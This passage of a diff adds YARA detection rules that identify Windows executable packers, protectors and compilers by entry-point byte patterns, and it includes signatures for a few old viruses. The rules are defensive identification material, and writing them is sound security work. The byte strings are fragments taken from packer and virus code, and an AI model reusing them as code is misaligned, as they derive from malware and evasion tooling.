+			$a0 = { E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 }
+	$a1 = { E8 BA 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 40 00 ?? ?? ?? 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00 AD 8B DE 8B F0 83 C3 44 AD 85 C0 74 32 8B F8 56 FF 13 8B E8 AC 84 C0 75 FB AC 84 C0 74 EA 4E AD A9 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1
+	}
+	
+	
+	rule VProtectorV10Evcasm
+	{
+	strings:
+			$a0 = { EB 0A 5B 56 50 72 6F 74 65 63 74 5D E8 24 00 00 00 8B 44 24 04 8B 00 3D 04 00 00 80 75 08 8B 64 24 08 EB 04 58 EB 0C E9 64 8F 05 00 00 00 00 74 F3 75 F1 EB 24 64 FF 35 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01LCCWin32DLLAnorganix
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule CodeCryptv014b
+	{
+	strings:
+			$a0 = { E9 C5 02 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PellesC450DLLX86CRTLIB
+	{
+	strings:
+			$a0 = { 55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EEXEVersion112
+	{
+	strings:
+			$a0 = { B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule FSGv120EngdulekxtMASM32TASM32
+	{
+	strings:
+			$a0 = { 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEDiminisherv01Teraphy
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner02VBOX43MTEAnorganix
+	{
+	strings:
+			$a0 = { 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SEAAXE
+	{
+	strings:
+			$a0 = { FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UpackV010V011Dwing
+	{
+	strings:
+			$a0 = { BE ?? ?? ?? ?? AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 ?? F3 AB C1 E0 ?? B5 ?? F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C ?? 73 ?? B0 ?? 3C ?? 72 02 2C ?? 50 0F B6 5F FF C1 E3 ?? B3 ?? 8D 1C 5B 8D ?? ?? ?? ?? ?? ?? B0 ?? 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHTeamEPProtector03fakePCGuard403415FEUERRADER
+	{
+	strings:
+			$a0 = { 90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SimplePack111Method1bagieTMX
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC }
+	$a1 = { 60 E8 00 00 00 00 5B 8D 5B FA BD 00 00 ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0 74 55 0F B7 47 22 09 C0 74 4D 6A 04 68 00 10 00 00 FF 77 10 6A 00 FF 93 38 03 00 00 50 56 57 89 EE 03 77 0C 8B 4F 10 89 C7 89 C8 C1 E9 02 FC F3 A5 89 C1 83 E1 03 F3 A4 5F 5E 8B 04 24 89 EA 03 57 0C E8 3F 01 00 00 58 68 00 40 00 00 FF 77 10 50 FF 93 3C 03 00 00 83 C7 28 4E 75 9E BE ?? ?? ?? ?? 09 F6 0F 84 0C 01 00 00 01 EE 8B 4E 0C 09 C9 0F 84 FF 00 00 00 01 E9 89 CF 57 FF 93 30 03 00 00 09 C0 75 3D 6A 04 68 00 10 00 00 68 00 10 00 00 6A 00 FF 93 38 03 00 00 89 C6 8D 83 6F 02 00 00 57 50 56 FF 93 44 03 00 00 6A 10 6A 00 56 6A 00 FF 93 48 03 00 00 89 E5 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule MASM32
+	{
+	strings:
+			$a0 = { 6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SoftDefenderv10v11
+	{
+	strings:
+			$a0 = { 74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule XtremeProtectorv106
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VcasmProtector1112vcasm
+	{
+	strings:
+			$a0 = { EB 0B 5B 56 50 72 6F 74 65 63 74 5D }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidiumv1111
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 E7 1C 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule VxEddie1530
+	{
+	strings:
+			$a0 = { E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule KBySV028DLLshoooo
+	{
+	strings:
+			$a0 = { B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEncrypt10JunkCode
+	{
+	strings:
+			$a0 = { 60 9C BE 00 10 40 00 8B FE B9 ?? ?? ?? ?? BB 78 56 34 12 AD 33 C3 AB E2 FA 9D 61 E9 ?? ?? ?? FF }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PEPasswordv02SMTSMF
+	{
+	strings:
+			$a0 = { E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EncryptPE22006710220061025WFS
+	{
+	strings:
+			$a0 = { 60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 54 65 6D 70 50 61 74 68 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RCryptorv16Vaska
+	{
+	strings:
+			$a0 = { 33 D0 68 ?? ?? ?? ?? FF D2 }
+	$a1 = { 33 D0 68 ?? ?? ?? ?? FF D2 B8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule PEPaCKv10CCopyright1998byANAKiN
+	{
+	strings:
+			$a0 = { C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 2D 3D FE 20 50 45 2D 50 41 43 4B 20 76 31 2E 30 20 2D FE 2D 20 28 43 29 20 43 6F 70 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule YodasProtectorv1032Beta2AshkbizDanehkar
+	{
+	strings:
+			$a0 = { E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule VxMTEnonencrypted
+	{
+	strings:
+			$a0 = { F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01FSG131Anorganix
+	{
+	strings:
+			$a0 = { BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv212AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 }
+	$a1 = { 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Upack022023betaDwing
+	{
+	strings:
+			$a0 = { 6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 }
+	$a1 = { 6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 }
+	$a2 = { AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 }
+
+	condition:
+			$a0 or $a1 at (pe.entry_point) or $a2 at (pe.entry_point)
+	}
+	
+	
+	rule PseudoSigner01CodeLockAnorganix
+	{
+	strings:
+			$a0 = { 43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B E9 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv100c1
+	{
+	strings:
+			$a0 = { 2E 8C 1E ?? ?? 8B 1E ?? ?? 8C DA 81 C2 ?? ?? 3B DA 72 ?? 81 EB ?? ?? 83 EB ?? FA 8E D3 BC ?? ?? FB FD BE ?? ?? 8B FE }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule MSLRHv032afakenSPack13emadicius
+	{
+	strings:
+			$a0 = { 9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule PKLITEv100c2
+	{
+	strings:
+			$a0 = { BA ?? ?? A1 ?? ?? 2D ?? ?? 8C CB 81 C3 ?? ?? 3B C3 77 ?? 05 ?? ?? 3B C3 77 ?? B4 09 BA ?? ?? CD 21 CD 20 90 }
+	
+ condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule kkrunchyv017FGiesen
+	{
+	strings:
+			$a0 = { FC FF 4D 08 31 D2 8D 7D 30 BE }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule ACProtectv190gRiscosoftwareInc
+	{
+	strings:
+			$a0 = { 60 0F 87 02 00 00 00 1B F8 E8 01 00 00 00 73 83 04 24 06 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule UPX293300LZMAMarkusOberhumerLaszloMolnarJohnReiser
+	{
+	strings:
+			$a0 = { 60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 89 E5 8D 9C 24 ?? ?? ?? ?? 31 C0 50 39 DC 75 FB 46 46 53 68 ?? ?? ?? ?? 57 83 C3 04 53 68 ?? ?? ?? ?? 56 83 C3 04 53 50 C7 03 03 00 02 00 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium133720070623ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 02 ?? ?? E8 27 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 23 EB 03 ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 01 ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 01 ?? 58 EB 04 ?? ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 02 ?? ?? 83 C4 04 EB 01 ?? E8 F7 26 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ASPackv2000AlexeySolodovnikov
+	{
+	strings:
+			$a0 = { 60 E8 70 05 00 00 EB 4C }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov4000053SiliconRealmsToolworks
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 20 8B 4B 00 68 80 E4 48 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 88 31 4B 00 33 D2 8A D4 89 15 A4 A1 4B 00 8B C8 81 E1 FF 00 00 00 89 0D A0 A1 4B 00 C1 E1 08 03 CA 89 0D 9C A1 4B 00 C1 E8 10 A3 98 A1 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Armadillov160a
+	{
+	strings:
+			$a0 = { 55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ACProtectUltraProtect10X20XRiSco
+	{
+	strings:
+			$a0 = { 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 55 53 45 52 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 4D 65 73 73 61 67 65 42 6F 78 41 00 90 4D 69 6E 65 49 6D 70 6F 72 74 5F 45 6E 64 73 73 00 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule Thinstall3035Jtit
+	{
+	strings:
+			$a0 = { 9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 }
+	$a1 = { 9C 60 68 53 74 41 6C 68 54 68 49 6E E8 00 00 00 00 58 BB 37 1F 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 28 00 00 68 04 01 00 00 E8 BA FE FF FF E9 90 FF FF FF CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00 03 D2 75 08 8B 16 83 C6 04 F9 13 D2 C3 B9 08 00 00 00 E8 01 00 00 00 C3 33 C0 E8 E1 FF FF FF 13 C0 E2 F7 C3 33 C9 41 E8 D4 FF FF FF 13 C9 E8 CD FF FF FF 72 F2 C3 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+
+		rule PENinjav10DzAkRAkerTNT
+	{
+	strings:
+			$a0 = { BE 5B 2A 40 00 BF 35 12 00 00 E8 40 12 00 00 3D 22 83 A3 C6 0F 85 67 0F 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule ThinstallEmbedded19XJitit
+	{
+	strings:
+			$a0 = { 55 8B EC 51 53 56 57 6A 00 6A 00 FF 15 ?? ?? ?? ?? 50 E8 87 FC FF FF 59 59 A1 ?? ?? ?? ?? 8B 40 10 03 05 ?? ?? ?? ?? 89 45 FC 8B 45 FC FF E0 5F 5E 5B C9 C3 00 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule EXECryptorv13045
+	{
+	strings:
+			$a0 = { E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 }
+	$a1 = { E8 24 ?? ?? ?? 8B 4C 24 0C C7 01 17 ?? 01 ?? C7 81 ?? ?? ?? ?? ?? ?? ?? 31 C0 89 41 14 89 41 18 80 A1 }
+
+	condition:
+			$a0 at (pe.entry_point) or $a1 at (pe.entry_point)
+	}
+	
+	
+	rule Obsidium1338ObsidiumSoftware
+	{
+	strings:
+			$a0 = { EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule RLPV073betaap0x
+	{
+	strings:
+			$a0 = { 2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0 }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule yCv13byAshkbizDanehkar
+	{
+	strings:
+			$a0 = { 55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC }
+
+	condition:
+			$a0
+	}
+	
+	
+	rule PCPECalphapreview
+	{
+	strings:
+			$a0 = { 53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AlexProtectorv10Alex
+	{
+	strings:
+			$a0 = { 60 E8 00 00 00 00 5D 81 ED 06 10 40 00 E8 24 00 00 00 EB 01 E9 8B }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule Shrinkv10
+	{
+	strings:
+			$a0 = { 50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule AHPack01FEUERRADER
+	{
+	strings:
+			$a0 = { 60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	
+	rule SentinelSuperProAutomaticProtectionv640Safenet
+	{
+	strings:
+			$a0 = { 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 }
+
+	condition:
+			$a0 at (pe.entry_point)
+	}
+	
+	rule DxPack10
+	{
+	strings:
